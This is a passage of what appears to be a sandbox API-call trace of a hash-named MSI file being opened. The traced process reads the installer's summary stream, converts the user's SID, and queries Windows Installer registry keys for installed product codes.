(pszUrl="C:\\Users\\KEECFM~1\\Desktop\\fb9f0bf2b71bf576053c56cb913ea4e93581fc9d3aa9d6d8a0ae572a1622f050.msi", UrlIs=0x0) returned 0 [0068.646] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0068.646] GetFileAttributesW (lpFileName="C:\\Users\\KEECFM~1\\Desktop\\fb9f0bf2b71bf576053c56cb913ea4e93581fc9d3aa9d6d8a0ae572a1622f050.msi" (normalized: "c:\\users\\keecfmwgj\\desktop\\fb9f0bf2b71bf576053c56cb913ea4e93581fc9d3aa9d6d8a0ae572a1622f050.msi")) returned 0x20 [0068.646] lstrlenW (lpString="C:\\Users\\KEECFM~1\\Desktop\\fb9f0bf2b71bf576053c56cb913ea4e93581fc9d3aa9d6d8a0ae572a1622f050.msi") returned 94 [0068.646] GetProcAddress (hModule=0x7fefd4e0000, lpProcName="StgOpenStorage") returned 0x7fefd4fb91c [0068.647] StgOpenStorage (in: pwcsName="C:\\Users\\KEECFM~1\\Desktop\\fb9f0bf2b71bf576053c56cb913ea4e93581fc9d3aa9d6d8a0ae572a1622f050.msi", pstgPriority=0x0, grfMode=0x20, snbExclude=0x0, reserved=0x0, ppstgOpen=0x10cf238 | out: ppstgOpen=0x10cf238*=0x2fcb20) returned 0x0 [0068.656] IUnknown:AddRef (This=0x2fcb20) returned 0x2 [0068.656] IStorage:Stat (in: This=0x2fcb20, pstatstg=0x10cf130, grfStatFlag=0x0 | out: pstatstg=0x10cf130) returned 0x0 [0068.657] lstrlenW (lpString="C:\\Users\\KEECFM~1\\Desktop\\fb9f0bf2b71bf576053c56cb913ea4e93581fc9d3aa9d6d8a0ae572a1622f050.msi") returned 94 [0068.657] GetProcAddress (hModule=0x7fefd4e0000, lpProcName="CoGetMalloc") returned 0x7fefd503540 [0068.657] CoGetMalloc (in: dwMemContext=0x1, ppMalloc=0x10cf128 | out: ppMalloc=0x10cf128*=0x7fefd6b5380) returned 0x0 [0068.657] IMalloc:Free (This=0x7fefd6b5380, pv=0x3480a0) [0068.657] IUnknown:AddRef (This=0x7fefd6b5380) returned 0x1 [0068.657] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0068.657] IUnknown:Release (This=0x2fcb20) returned 0x1 [0068.657] IStorage:Stat (in: This=0x2fcb20, pstatstg=0x10cf120, grfStatFlag=0x1 | out: pstatstg=0x10cf120) returned 0x0 [0068.658] lstrlenW (lpString="\x05SummaryInformation") returned 19 [0068.658] IStorage:RemoteOpenStream (in: This=0x2fcb20, pwcsName="\x05SummaryInformation", cbReserved1=0x0, reserved1=0x10, grfMode=0x0, reserved2=0x10cf220, ppstm=0x3272b0 | out: ppstm=0x3272b0*=0x7fef7ac9dd0) returned 0x0 [0068.659] CExposedStream::Stat () returned 0x0 [0068.659] CExposedStream::Read () returned 0x0 [0068.659] CExposedStream::Release () returned 0x0 [0068.659] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x348620, cbMultiByte=38, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 38 [0068.659] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x348620, cbMultiByte=38, lpWideCharStr=0x32f780, cchWideChar=38 | out: lpWideCharStr="{8CB27BF3-59BC-4419-BE15-E9E385453F27}") returned 38 [0068.660] memcpy (in: _Dst=0x10cfd50, _Src=0x32f780, _Size=0x4c | out: _Dst=0x10cfd50) returned 0x10cfd50 [0068.660] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x34860c, cbMultiByte=10, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 10 [0068.660] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x34860c, cbMultiByte=10, lpWideCharStr=0x33a720, cchWideChar=10 | out: lpWideCharStr="Intel;1033") returned 10 [0068.660] memcpy (in: _Dst=0x3387d0, _Src=0x33a72c, _Size=0x8 | out: _Dst=0x3387d0) returned 0x3387d0 [0068.660] SetLastError (dwErrCode=0x0) [0068.660] GetCurrentThreadId () returned 0xf50 [0068.660] GetCurrentThreadId () returned 0xf50 [0068.660] GetCurrentThreadId () returned 0xf50 [0068.660] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Policies\\Microsoft\\Windows\\Installer", ulOptions=0x0, samDesired=0x20019, phkResult=0x10cebf0 | out: phkResult=0x10cebf0*=0x0) returned 0x2 [0068.660] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0068.660] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0x1, TokenInformation=0x10ceb80, TokenInformationLength=0x58, ReturnLength=0x10ceb70 | out: TokenInformation=0x10ceb80, ReturnLength=0x10ceb70) returned 1 [0068.661] CopySid (in: nDestinationSidLength=0x48, pDestinationSid=0x10cec60, pSourceSid=0x10ceb90*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x10cec60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0068.661] ConvertSidToStringSidW (in: Sid=0x10cec60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), StringSid=0x10cec40 | out: StringSid=0x10cec40*="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 1 [0068.661] LocalFree (hMem=0x32f7e0) returned 0x0 [0068.661] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\Managed\\S-1-5-21-4219442223-4223814209-3835049652-1000\\Installer\\Products", ulOptions=0x0, samDesired=0x20019, phkResult=0x10cf120 | out: phkResult=0x10cf120*=0x0) returned 0x2 [0068.661] GetCurrentThreadId () returned 0xf50 [0068.661] GetCurrentThreadId () returned 0xf50 [0068.661] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0068.661] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0x1, TokenInformation=0x10ceb80, TokenInformationLength=0x58, ReturnLength=0x10ceb70 | out: TokenInformation=0x10ceb80, ReturnLength=0x10ceb70) returned 1 [0068.661] CopySid (in: nDestinationSidLength=0x48, pDestinationSid=0x10cec60, pSourceSid=0x10ceb90*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x10cec60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0068.661] ConvertSidToStringSidW (in: Sid=0x10cec60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), StringSid=0x10cec40 | out: StringSid=0x10cec40*="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 1 [0068.661] LocalFree (hMem=0x32f770) returned 0x0 [0068.661] RegOpenKeyExW (in: hKey=0xffffffff80000003, lpSubKey="S-1-5-21-4219442223-4223814209-3835049652-1000\\Software\\Microsoft\\Installer\\Products", ulOptions=0x0, samDesired=0x20019, phkResult=0x10cf120 | out: phkResult=0x10cf120*=0x0) returned 0x2 [0068.661] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Classes\\Installer\\Products", ulOptions=0x0, samDesired=0x20019, phkResult=0x10cf120 | out: phkResult=0x10cf120*=0x1d4) returned 0x0 [0068.661] RegEnumKeyExW (in: hKey=0x1d4, dwIndex=0x0, lpName=0x10cf160, lpcchName=0x10cf0ac, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="00006109090090400000000000F01FEC", lpcchName=0x10cf0ac, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0068.662] GetCurrentThreadId () returned 0xf50 [0068.662] GetCurrentThreadId () returned 0xf50 [0068.662] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0068.662] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0x1, TokenInformation=0x10ceb80, TokenInformationLength=0x58, ReturnLength=0x10ceb70 | out: TokenInformation=0x10ceb80, ReturnLength=0x10ceb70) returned 1 [0068.662] CopySid (in: nDestinationSidLength=0x48, pDestinationSid=0x10cec60, pSourceSid=0x10ceb90*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x10cec60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0068.662] ConvertSidToStringSidW (in: Sid=0x10cec60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), StringSid=0x10cec40 | out: StringSid=0x10cec40*="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 1 [0068.662] LocalFree (hMem=0x32f7e0) returned 0x0 [0068.662] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\Managed\\S-1-5-21-4219442223-4223814209-3835049652-1000\\Installer\\Products", ulOptions=0x0, samDesired=0x20019, phkResult=0x10cf0f0 | out: phkResult=0x10cf0f0*=0x0) returned 0x2 [0068.662] GetCurrentThreadId () returned 0xf50 [0068.662] GetCurrentThreadId () returned 0xf50 [0068.662] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0068.662] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0x1, TokenInformation=0x10ceb80, TokenInformationLength=0x58, ReturnLength=0x10ceb70 | out: TokenInformation=0x10ceb80, ReturnLength=0x10ceb70) returned 1 [0068.662] CopySid (in: nDestinationSidLength=0x48, pDestinationSid=0x10cec60, pSourceSid=0x10ceb90*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x10cec60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0068.665] ConvertSidToStringSidW (in: Sid=0x10cec60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), StringSid=0x10cec40 | out: StringSid=0x10cec40*="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 1 [0068.665] LocalFree (hMem=0x32f770) returned 0x0 [0068.665] RegOpenKeyExW (in: hKey=0xffffffff80000003, lpSubKey="S-1-5-21-4219442223-4223814209-3835049652-1000\\Software\\Microsoft\\Installer\\Products", ulOptions=0x0, samDesired=0x20019, phkResult=0x10cf0f0 | out: phkResult=0x10cf0f0*=0x0) returned 0x2 [0068.665] GetCurrentThreadId () returned 0xf50 [0068.665] GetCurrentThreadId () returned 0xf50 [0068.665] RegCloseKey (hKey=0x1d4) returned 0x0 [0068.665] lstrlenW (lpString="{90160000-0090-0409-0000-0000000FF1CE}") returned 38 [0068.665] lstrlenW (lpString="00006109090090400000000000F01FEC") returned 32 [0068.665] GetCurrentThreadId () returned 0xf50 [0068.666] GetCurrentThreadId () returned 0xf50 [0068.666] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0068.666] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0x1, TokenInformation=0x10ce750, TokenInformationLength=0x58, ReturnLength=0x10ce740 | out: TokenInformation=0x10ce750, ReturnLength=0x10ce740) returned 1 [0068.666] CopySid (in: nDestinationSidLength=0x48, pDestinationSid=0x10ce830, pSourceSid=0x10ce760*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x10ce830*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0068.666] ConvertSidToStringSidW (in: Sid=0x10ce830*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), StringSid=0x10ce810 | out: StringSid=0x10ce810*="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 1 [0068.666] LocalFree (hMem=0x32f7e0) returned 0x0 [0068.666] lstrlenW (lpString="00006109090090400000000000F01FEC") returned 32 [0068.666] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\Managed\\S-1-5-21-4219442223-4223814209-3835049652-1000\\Installer\\Products") returned 125 [0068.666] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\Managed\\S-1-5-21-4219442223-4223814209-3835049652-1000\\Installer\\Products\\00006109090090400000000000F01FEC", ulOptions=0x0, samDesired=0x20019, phkResult=0x10ced90 | out: phkResult=0x10ced90*=0x0) returned 0x2 [0068.666] GetCurrentThreadId () returned 0xf50 [0068.666] GetCurrentThreadId () returned 0xf50 [0068.666] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0068.666] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0x1, TokenInformation=0x10ce750, TokenInformationLength=0x58, ReturnLength=0x10ce740 | out: TokenInformation=0x10ce750, ReturnLength=0x10ce740) returned 1 [0068.666] CopySid (in: nDestinationSidLength=0x48, pDestinationSid=0x10ce830, pSourceSid=0x10ce760*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x10ce830*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0068.666] ConvertSidToStringSidW (in: Sid=0x10ce830*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), StringSid=0x10ce810 | out: StringSid=0x10ce810*="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 1 [0068.667] LocalFree (hMem=0x32f770) returned 0x0 [0068.667] lstrlenW (lpString="00006109090090400000000000F01FEC") returned 32 [0068.667] lstrlenW (lpString="S-1-5-21-4219442223-4223814209-3835049652-1000\\Software\\Microsoft\\Installer\\Products") returned 84 [0068.667] RegOpenKeyExW (in: hKey=0xffffffff80000003, lpSubKey="S-1-5-21-4219442223-4223814209-3835049652-1000\\Software\\Microsoft\\Installer\\Products\\00006109090090400000000000F01FEC", ulOptions=0x0, samDesired=0x20019, phkResult=0x10ced90 | out: phkResult=0x10ced90*=0x0) returned 0x2 [0068.667] lstrlenW (lpString="00006109090090400000000000F01FEC") returned 32 [0068.667] lstrlenW (lpString="Software\\Classes\\Installer\\Products") returned 35 [0068.667] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Classes\\Installer\\Products\\00006109090090400000000000F01FEC", ulOptions=0x0, samDesired=0x20019, phkResult=0x10ced90 | out: phkResult=0x10ced90*=0x1d4) returned 0x0 [0068.667] RegQueryValueExW (in: hKey=0x1d4, lpValueName="PackageCode", lpReserved=0x0, lpType=0x10ced5c, lpData=0x10cf290, lpcbData=0x10ced58*=0x4e | out: lpType=0x10ced5c*=0x1, lpData="E44094EAF7224D440B792663B2A20FBC", lpcbData=0x10ced58*=0x42) returned 0x0 [0068.667] RegCloseKey (hKey=0x1d4) returned 0x0 [0068.667] lstrlenW (lpString="{90160000-0090-0409-0000-0000000FF1CE}") returned 38 [0068.667] lstrlenW (lpString="00006109090090400000000000F01FEC") returned 32 [0068.667] lstrlenW (lpString="00006109090090400000000000F01FEC") returned 32 [0068.667] lstrlenW (lpString="Software\\Classes\\Installer\\Products") returned 35 [0068.667] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Classes\\Installer\\Products\\00006109090090400000000000F01FEC", ulOptions=0x0, samDesired=0x20019, phkResult=0x10ced90 | out: phkResult=0x10ced90*=0x1d4) returned 0x0 [0068.667] RegQueryValueExW (in: hKey=0x1d4, lpValueName="InstanceType", lpReserved=0x0, lpType=0x10ced5c, lpData=0x10cf340, lpcbData=0x10ced58*=0xa | out: lpType=0x10ced5c*=0x4, lpData=0x10cf340*=0x0, lpcbData=0x10ced58*=0x4) returned 0x0 [0068.668] _itow (in: _Dest=0x0, _Radix=17624624 | out: _Dest=0x0) returned="0" [0068.668] lstrlenW (lpString="0") returned 1 [0068.668] lstrlenW (lpString="0") returned 1 [0068.668] RegCloseKey (hKey=0x1d4) returned 0x0 [0068.668] lstrcmpiW (lpString1="{8CB27BF3-59BC-4419-BE15-E9E385453F27}", lpString2="{AE49044E-227F-44D4-B097-62362B2AF0CB}") returned -1 [0068.668] GetCurrentThreadId () returned 0xf50 [0068.668] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Classes\\Installer\\Products", ulOptions=0x0, samDesired=0x20019, phkResult=0x10cf120 | out: phkResult=0x10cf120*=0x1d8) returned 0x0 [0068.668] RegEnumKeyExW (in: hKey=0x1d8, dwIndex=0x1, lpName=0x10cf160, lpcchName=0x10cf0ac, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="00006109110000000000000000F01FEC", lpcchName=0x10cf0ac, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0068.668] GetCurrentThreadId () returned 0xf50 [0068.668] GetCurrentThreadId () returned 0xf50 [0068.668] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0068.668] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0x1, TokenInformation=0x10ceb80, TokenInformationLength=0x58, ReturnLength=0x10ceb70 | out: TokenInformation=0x10ceb80, ReturnLength=0x10ceb70) returned 1 [0068.669] CopySid (in: nDestinationSidLength=0x48, pDestinationSid=0x10cec60, pSourceSid=0x10ceb90*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x10cec60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0068.669] ConvertSidToStringSidW (in: Sid=0x10cec60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), StringSid=0x10cec40 | out: StringSid=0x10cec40*="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 1 [0068.669] LocalFree (hMem=0x32f7e0) returned 0x0 [0068.669] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\Managed\\S-1-5-21-4219442223-4223814209-3835049652-1000\\Installer\\Products", ulOptions=0x0, samDesired=0x20019, phkResult=0x10cf0f0 | out: phkResult=0x10cf0f0*=0x0) returned 0x2 [0068.669] GetCurrentThreadId () returned 0xf50 [0068.669] GetCurrentThreadId () returned 0xf50 [0068.669] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0068.669] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0x1, TokenInformation=0x10ceb80, TokenInformationLength=0x58, ReturnLength=0x10ceb70 | out: TokenInformation=0x10ceb80, ReturnLength=0x10ceb70) returned 1 [0068.669] CopySid (in: nDestinationSidLength=0x48, pDestinationSid=0x10cec60, pSourceSid=0x10ceb90*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x10cec60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0068.669] ConvertSidToStringSidW (in: Sid=0x10cec60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), StringSid=0x10cec40 | out: StringSid=0x10cec40*="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 1 [0068.669] LocalFree (hMem=0x32f770) returned 0x0 [0068.669] RegOpenKeyExW (in: hKey=0xffffffff80000003, lpSubKey="S-1-5-21-4219442223-4223814209-3835049652-1000\\Software\\Microsoft\\Installer\\Products", ulOptions=0x0, samDesired=0x20019, phkResult=0x10cf0f0 | out: phkResult=0x10cf0f0*=0x0) returned 0x2 [0068.669] GetCurrentThreadId () returned 0xf50 [0068.669] RegCloseKey (hKey=0x1d8) returned 0x0 [0068.669] lstrlenW (lpString="{90160000-0011-0000-0000-0000000FF1CE}") returned 38 [0068.669] lstrlenW (lpString="00006109110000000000000000F01FEC") returned 32 [0068.670] GetCurrentThreadId () returned 0xf50 [0068.670] GetCurrentThreadId () returned 0xf50 [0068.670] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0068.670] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0x1, TokenInformation=0x10ce750, TokenInformationLength=0x58, ReturnLength=0x10ce740 | out: TokenInformation=0x10ce750, ReturnLength=0x10ce740) returned 1 [0068.670] CopySid (in: nDestinationSidLength=0x48, pDestinationSid=0x10ce830, pSourceSid=0x10ce760*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x10ce830*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0068.670] ConvertSidToStringSidW (in: Sid=0x10ce830*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), StringSid=0x10ce810 | out: StringSid=0x10ce810*="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 1 [0068.670] LocalFree (hMem=0x32f7e0) returned 0x0 [0068.670] lstrlenW (lpString="00006109110000000000000000F01FEC") returned 32 [0068.670] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\Managed\\S-1-5-21-4219442223-4223814209-3835049652-1000\\Installer\\Products") returned 125 [0068.670] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\Managed\\S-1-5-21-4219442223-4223814209-3835049652-1000\\Installer\\Products\\00006109110000000000000000F01FEC", ulOptions=0x0, samDesired=0x20019, phkResult=0x10ced90 | out: phkResult=0x10ced90*=0x0) returned 0x2 [0068.670] GetCurrentThreadId () returned 0xf50 [0068.670] GetCurrentThreadId () returned 0xf50 [0068.670] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0068.670] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0x1, TokenInformation=0x10ce750, TokenInformationLength=0x58, ReturnLength=0x10ce740 | out: TokenInformation=0x10ce750, ReturnLength=0x10ce740) returned 1 [0068.670] CopySid (in: nDestinationSidLength=0x48, pDestinationSid=0x10ce830, pSourceSid=0x10ce760*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x10ce830*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0068.670] ConvertSidToStringSidW (in: Sid=0x10ce830*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), StringSid=0x10ce810 | out: StringSid=0x10ce810*="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 1 [0068.671] LocalFree (hMem=0x32f770) returned 0x0 [0068.671] lstrlenW (lpString="00006109110000000000000000F01FEC") returned 32 [0068.671] lstrlenW (lpString="S-1-5-21-4219442223-4223814209-3835049652-1000\\Software\\Microsoft\\Installer\\Products") returned 84 [0068.671] RegOpenKeyExW (in: hKey=0xffffffff80000003, lpSubKey="S-1-5-21-4219442223-4223814209-3835049652-1000\\Software\\Microsoft\\Installer\\Products\\00006109110000000000000000F01FEC", ulOptions=0x0, samDesired=0x20019, phkResult=0x10ced90 | out: phkResult=0x10ced90*=0x0) returned 0x2 [0068.671] lstrlenW (lpString="00006109110000000000000000F01FEC") returned 32 [0068.671] lstrlenW (lpString="Software\\Classes\\Installer\\Products") returned 35 [0068.671] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Classes\\Installer\\Products\\00006109110000000000000000F01FEC", ulOptions=0x0, samDesired=0x20019, phkResult=0x10ced90 | out: phkResult=0x10ced90*=0x1d8) returned 0x0 [0068.671] RegQueryValueExW (in: hKey=0x1d8, lpValueName="PackageCode", lpReserved=0x0, lpType=0x10ced5c, lpData=0x10cf290, lpcbData=0x10ced58*=0x4e | out: lpType=0x10ced5c*=0x1, lpData="79D4AC3F73EA28440A6A1878E85ADA40", lpcbData=0x10ced58*=0x42) returned 0x0 [0068.671] RegCloseKey (hKey=0x1d8) returned 0x0 [0068.671] lstrlenW (lpString="{90160000-0011-0000-0000-0000000FF1CE}") returned 38 [0068.671] lstrlenW (lpString="00006109110000000000000000F01FEC") returned 32 [0068.671] lstrlenW (lpString="00006109110000000000000000F01FEC") returned 32 [0068.671] lstrlenW (lpString="Software\\Classes\\Installer\\Products") returned 35 [0068.671] RegOpenKeyExW (in: 